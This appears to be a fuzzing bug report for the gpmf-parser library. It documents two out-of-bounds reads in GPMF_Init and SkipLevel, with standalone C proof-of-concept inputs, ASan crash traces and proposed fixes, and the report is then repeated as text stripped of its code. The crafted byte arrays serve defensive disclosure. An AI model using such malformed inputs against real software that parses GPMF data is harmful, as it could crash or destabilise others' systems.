Summary
Two heap-buffer-overflow bugs were found via libFuzzer + AddressSanitizer and confirmed with standalone C reproducers (no libFuzzer infrastructure). Both are READ overflows in GPMF_parser.c.
Bug 1 — GPMF_Init reads one uint32_t past the end of the buffer (line 231)
File: GPMF_parser.c, line 231
Severity: Low (triggers only when datasize is not a multiple of 4)
Root cause
// line 229-231
while ((pos+1) * 4 < datasize && buffer[pos] == GPMF_KEY_DEVICE)
{
uint32_t size = GPMF_DATA_SIZE(buffer[pos+1]); // ← OOB
The guard (pos+1) * 4 < datasize ensures buffer[pos] is in-bounds (occupies bytes pos*4 … pos*4+3), but does not ensure buffer[pos+1] is valid. That would require (pos+2) * 4 <= datasize.
Reproducer (standalone, 31 bytes)
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "GPMF_parser.h"
int main(void) {
static const uint8_t poc[] = {
0x44,0x45,0x56,0x43, 0x00,0x00,0x00,0x1e,
0x44,0x45,0x56,0x43, 0x00,0x02,0x00,0x00,
0x44,0x45,0x56,0x43, 0x00,0x00,0x00,0x1e,
0x44,0x45,0x56,0x43, 0x00,0x02,0x00
/* 31 bytes — not a multiple of 4 */
};
uint32_t *aligned = malloc(sizeof(poc));
memcpy(aligned, poc, sizeof(poc));
GPMF_stream gs;
GPMF_Init(&gs, aligned, sizeof(poc)); /* crashes here */
free(aligned);
}
Compile and run:
clang -fsanitize=address -g -O1 repro.c GPMF_parser.c GPMF_utils.c -I. -o repro
./repro
ASan output (standalone)
ERROR: AddressSanitizer: heap-buffer-overflow on address … at pc …
READ of size 4 at … thread T0
#0 in GPMF_Init GPMF_parser.c:231
#1 in main repro.c:14
0x… is located 0 bytes to the right of 31-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow GPMF_parser.c:231:20 in GPMF_Init
Proposed fix
// Change:
while ((pos+1) * 4 < datasize && buffer[pos] == GPMF_KEY_DEVICE)
// To:
while ((pos+2) * 4 <= datasize && buffer[pos] == GPMF_KEY_DEVICE)
Bug 2 — SkipLevel reads one uint32_t past the end of the buffer (line 64)
File: GPMF_parser.c, line 64
Severity: Medium (reachable via GPMF_SeekToSamples on malformed input)
Root cause
GPMF_ERR SkipLevel(GPMF_stream* ms) {
if (ms) {
ms->pos += ms->nest_size[ms->nest_level]; // pos advances without bounds check
ms->nest_size[ms->nest_level] = 0;
while (ms->nest_level > 0 && ms->nest_size[ms->nest_level] == 0)
ms->nest_level--;
uint32_t size = (GPMF_DATA_SIZE(ms->buffer[ms->pos + 1]) >> 2); // ← OOB (line 64)
After advancing ms->pos by nest_size[nest_level], there is no check that ms->pos + 1 < ms->buffer_size_longs. A crafted stream can set nest_size to a value that advances pos past the end of the buffer.
Call chain: GPMF_SeekToSamples → GPMF_Next (with GPMF_TOLERANT) → SkipLevel
SkipLevel is the error-recovery path invoked when structure validation fails with GPMF_TOLERANT mode — a mode explicitly designed to handle corrupt or untrusted data. A caller using GPMF_TOLERANT expects the library to survive malformed input; instead it crashes.
Reproducer (standalone, 152 bytes)
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include "GPMF_parser.h"
int main(void) {
static const uint8_t poc[] = {
0x44,0x45,0x56,0x43, 0x00,0x00,0x00,0x1e,
0x44,0x45,0x56,0x43, 0x00,0x02,0x00,0x44,
0x45,0x56,0x43,
/* crafted nest_size block: 106 × 0xff */
0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,
0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,
0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff, 0xff,0x00,0x00,0x1e,
0x00,0x44,0x45,0x56, 0x43,0x00,0x00,0x00, 0x1e,0x00,0x00,0x00, 0x29,0x00,0x00,0x00,
0x29,0x00,0x00,0x00, 0x00,0x00,0x00,0x00
};
uint32_t *aligned = malloc(sizeof(poc));
memcpy(aligned, poc, sizeof(poc));
GPMF_stream gs;
if (GPMF_Init(&gs, aligned, sizeof(poc)) == GPMF_OK) {
GPMF_Validate(&gs, GPMF_RECURSE_LEVELS);
do {
GPMF_SeekToSamples(&gs); /* crashes inside SkipLevel */
} while (GPMF_OK == GPMF_Next(&gs, GPMF_RECURSE_LEVELS));
}
free(aligned);
}
Compile and run:
clang -fsanitize=address -g -O1 repro2.c GPMF_parser.c GPMF_utils.c -I. -o repro2
./repro2
ASan output (standalone)
ERROR: AddressSanitizer: heap-buffer-overflow on address … at pc …
READ of size 4 at … thread T0
#0 in SkipLevel GPMF_parser.c:64
#1 in GPMF_Next GPMF_parser.c:361
#2 in GPMF_SeekToSamples GPMF_parser.c:582
#3 in main repro2.c:18
0x… is located 4 bytes to the right of 152-byte region
SUMMARY: AddressSanitizer: heap-buffer-overflow GPMF_parser.c:64:20 in SkipLevel
Proposed fix
// Add bounds check before line 64:
if (ms->pos + 1 >= ms->buffer_size_longs)
return GPMF_ERROR_BAD_STRUCTURE;
uint32_t size = (GPMF_DATA_SIZE(ms->buffer[ms->pos + 1]) >> 2);
Environment
- gpmf-parser commit:
main branch (April 2025)
- Compiler: clang 14.0.0, Ubuntu 22.04
- Sanitizers:
-fsanitize=address,undefined
- Fuzzer: libFuzzer (initial discovery); confirmed without fuzzer with standalone
main()
Summary
Two heap-buffer-overflow bugs were found via libFuzzer + AddressSanitizer and confirmed with standalone C reproducers (no libFuzzer infrastructure). Both are READ overflows in
GPMF_parser.c.Bug 1 —
GPMF_Initreads oneuint32_tpast the end of the buffer (line 231)File:
GPMF_parser.c, line 231Severity: Low (triggers only when
datasizeis not a multiple of 4)Root cause
The guard
(pos+1) * 4 < datasizeensuresbuffer[pos]is in-bounds (occupies bytespos*4 … pos*4+3), but does not ensurebuffer[pos+1]is valid. That would require(pos+2) * 4 <= datasize.Reproducer (standalone, 31 bytes)
Compile and run:
ASan output (standalone)
Proposed fix
Bug 2 —
SkipLevelreads oneuint32_tpast the end of the buffer (line 64)File:
GPMF_parser.c, line 64Severity: Medium (reachable via
GPMF_SeekToSampleson malformed input)Root cause
After advancing
ms->posbynest_size[nest_level], there is no check thatms->pos + 1 < ms->buffer_size_longs. A crafted stream can setnest_sizeto a value that advancespospast the end of the buffer.Call chain:
GPMF_SeekToSamples→GPMF_Next(withGPMF_TOLERANT) →SkipLevelSkipLevelis the error-recovery path invoked when structure validation fails withGPMF_TOLERANTmode — a mode explicitly designed to handle corrupt or untrusted data. A caller usingGPMF_TOLERANTexpects the library to survive malformed input; instead it crashes.Reproducer (standalone, 152 bytes)
Compile and run:
ASan output (standalone)
Proposed fix
Environment
mainbranch (April 2025)-fsanitize=address,undefinedmain()